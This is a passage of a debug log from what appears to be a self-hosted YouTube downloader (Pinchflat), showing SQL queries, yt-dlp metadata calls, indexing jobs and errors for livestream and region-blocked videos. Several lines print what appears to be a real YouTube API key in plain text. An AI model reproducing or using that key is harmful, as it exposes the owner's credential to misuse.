s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:24.519 [debug] QUERY OK source="settings" db=0.0ms idle=1389.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:24.520 [debug] QUERY OK source="settings" db=0.1ms idle=579.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:24.520 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/40/a9/40a9a137d7a6f4288c6c16e280227793f7cfa318ec8f7f73213e9d04556ad8b7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:26:25.816 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/40/a9/40a9a137d7a6f4288c6c16e280227793f7cfa318ec8f7f73213e9d04556ad8b7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments. 16:26:25.816 [error] Error creating media item 'b4CKcXNSNRc' from URL: {:error, "ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments.\n", 1} 16:26:25.816 [debug] QUERY OK source="media_items" db=0.5ms idle=1302.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [19] 16:26:25.818 [debug] QUERY OK source="tasks" db=0.1ms idle=1297.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799959, 19, ~U[2026-02-10 22:26:25Z], ~U[2026-02-10 22:26:25Z]] 16:26:25.818 [info] {"args":{"id":19},"id":3799920,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":2872546,"event":"job:stop","queue_time":967984,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:26:28.159 [info] {"source":"oban","duration":10164,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:28.951 [info] {"args":{"id":30},"id":3799921,"meta":{},"system_time":1770762388951376939,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:26:28.951 [info] {"args":{"id":6},"id":3799922,"meta":{},"system_time":1770762388951422273,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:26:28.951 [debug] QUERY OK source="sources" db=0.1ms idle=72.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 16:26:28.951 [debug] QUERY OK source="sources" db=0.1ms idle=73.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 16:26:28.951 [debug] QUERY OK source="settings" db=0.1ms idle=73.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:28.952 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:28.952 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:26:28.952 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:26:28.952 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:28.952 [debug] QUERY OK source="settings" db=0.2ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:28.952 [debug] Fetching recent media IDs from YouTube API for playlist: UU81hVmI5eEBIt3s3HQpJd_w 16:26:28.952 [debug] Fetching recent media IDs from YouTube API for playlist: UU3XTzVzaHQEd30rQbuvCtTQ 16:26:28.952 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:28.952 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:26:28.952 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:28.952 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:26:29.049 [debug] QUERY OK source="media_items" db=0.6ms idle=96.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6, "PawUmci7JuU", "8xRgXlUF4vM", "dm5IwjiGT80", "2fH8RYbqSj8", "5T2clCWmo24", "JduzROpaMlw", "7hkuCkya9IQ", "EJHHiu9fB9A", "yknMJOgy2pA", "-iRUq-Dy7QE", "Dhe1E2vzziA", "SLVL_wg3Hz0", "gi4swT8LK1U", "l4-_ZmwoZbg", "Y93ljB7sfco", "LmmeWg_DHdc", "SUogDr7iOF4", "_94sC2k37vo", "zk_P1rSKR4g", "e_Sv2Jva5D0", "wVFXUkFx5Y8", "0qmNAOCgbgY", "vO4XdC2aOrU", "KcYKVB-0Vqw", "hNlJdQwvr3o", "-7ExqSFtKEM", "sl9IRn33Fig", "Mwc21oNdnaA", "Ejoi9yfLVCc", "73iQpsIE0i8", "m9ExweRMFAA", "s9FsxWK0f1A", "-xIQxzlXN-0", "cicEeYtFd1M", "a277Pg23Dao", "-6r-lAxhtv4", "bl6Ww92bb0o", "gieTx_P6INQ", "9iZK_DurYOo", "xQwGv4UYvbk", "88YixeXbRMo", "eHJwoYjTyyE", "SCv0hlq5iQY", "JOoHELC8w8M", "dB1-lg-xZWc", "NtHZ7IR88dg", "S9EVYaSa1Ws", "Wg8OcJopuBE", "z016SEN7HzE", ...] 16:26:29.050 [debug] QUERY OK source="settings" db=0.0ms idle=97.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:29.050 [debug] QUERY OK source="settings" db=0.0ms idle=97.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:29.050 [debug] Running yt-dlp command for action: get_media_attributes 16:26:29.054 [debug] QUERY OK source="settings" db=0.0ms idle=101.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:29.054 [debug] QUERY OK source="settings" db=0.0ms idle=101.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:29.054 [debug] QUERY OK source="settings" db=0.0ms idle=5.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:29.054 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-iRUq-Dy7QE --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/23/7b/237b313b91643d7f71a70b55ec5781bf058fd430289f6e6d5781994e4a01c665.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:26:29.161 [debug] QUERY OK source="media_items" db=0.6ms idle=110.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [30, "NeOhV4zOxJ4", "kpRGNxqv6Wk", "5XWEVoI40sE", "ObOqq1knVxs", "1Rx_p3NW7gQ", "xHotXbGZiFY", "k1BneeJTDcU", "ZIljQn1x7jw", "rYy0o-J0x20", "iE5WwlwJeDQ", "nt9c0UeYhFc", "dQTZVnDE2Qw", "ejc5zic4q2A", "QCVGpvzcHko", "Zxc20saM8DA", "L2rPEiWDbgo", "Eo9pU1q8sy8", "dcLFmN7aJe0", "6hCQLEIWadk", "iuF6CpML3IQ", "tqbziT3ZaY8", "yO5vFJLc7M0", "KBICg--AKdM", "YlMg9XgBDW0", "PpypHPzkeRU", "9Fg-dQxQOEs", "2z0RxTEJRkc", "eeO7COzVWnk", "W0quDfpfRUQ", "Z-ap5Fp2T6c", "obIGsb-IZMo", "2LzgYWCgkZk", "7uvXsgSI-n4", "0tQxKp351QQ", "MboeozTBgD8", "Z5UCZt20la8", "EtkDpYlySRM", "6B4Lrl9pdAA", "LZoO8LyizLA"] 16:26:29.161 [debug] QUERY OK source="media_items" db=0.2ms idle=111.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 16:26:29.162 [debug] QUERY OK source="tasks" db=0.1ms idle=107.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799960, 30, ~U[2026-02-10 22:26:29Z], ~U[2026-02-10 22:26:29Z]] 16:26:29.163 [info] {"args":{"id":30},"id":3799921,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":211456,"event":"job:stop","queue_time":552595,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:26:29.951 [info] {"args":{"id":17},"id":3799923,"meta":{},"system_time":1770762389951770849,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:26:29.952 [debug] QUERY OK source="sources" db=0.3ms idle=789.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [17] 16:26:29.952 [debug] QUERY OK source="settings" db=0.3ms idle=789.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:29.953 [debug] QUERY OK source="media_profiles" db=0.1ms idle=784.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:26:29.953 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:29.953 [debug] Fetching recent media IDs from YouTube API for playlist: UUHC4G4X-OR5WkY-IquRGa3Q 16:26:29.953 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:29.953 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:26:30.021 [debug] QUERY OK source="media_items" db=0.4ms idle=68.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [17, "MvbAEEBLva8", "ZmWREtcDVBE", "qvot0oeaH_4", "uYLwEcxsDkI", "S9GJRC5XSXc", "AbTDzPUDxqY", "GdxFY_wtiOI", "NuEgjAMfdIY", "JYsDN6-XRrc", "nEU3gajt5aA", "0sowY00Ld_Y", "LN1CdJxY2_I", "RhOTMyzTDJw", "FU9J6mrKE28", "-BdZPFzH2JY", "Tvflpm-shoY", "qG04nqjL_iA", "T4tcZAduiVk", "icQmJ4Ty0Os", "GmC05wOc5Dw", "EwXx1AgEVA0", "gmqUvDGRKhk", "9GxXjTQSrLU", "rs1WF2SkjuY", "7EwRD6SzXws", "HZCwg_9zq2A", "2QKPQ6JYVhU", "P7GKK3liv8M", "TaFTKRjMY68", "e2HUg144liM", "Z-iNAyu-ejo", "9KOZUw_Ah8w", "rK2locyo-Pc", "N9OKVCt8dOM", "d9zHO6Lh2zY"] 16:26:30.022 [debug] QUERY OK source="media_items" db=0.2ms idle=69.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [17] 16:26:30.023 [debug] QUERY OK source="tasks" db=0.1ms idle=69.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799961, 17, ~U[2026-02-10 22:26:30Z], ~U[2026-02-10 22:26:30Z]] 16:26:30.023 [info] {"args":{"id":17},"id":3799923,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":71388,"event":"job:stop","queue_time":501184,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:26:30.491 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-iRUq-Dy7QE --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/23/7b/237b313b91643d7f71a70b55ec5781bf058fd430289f6e6d5781994e4a01c665.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] -iRUq-Dy7QE: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao 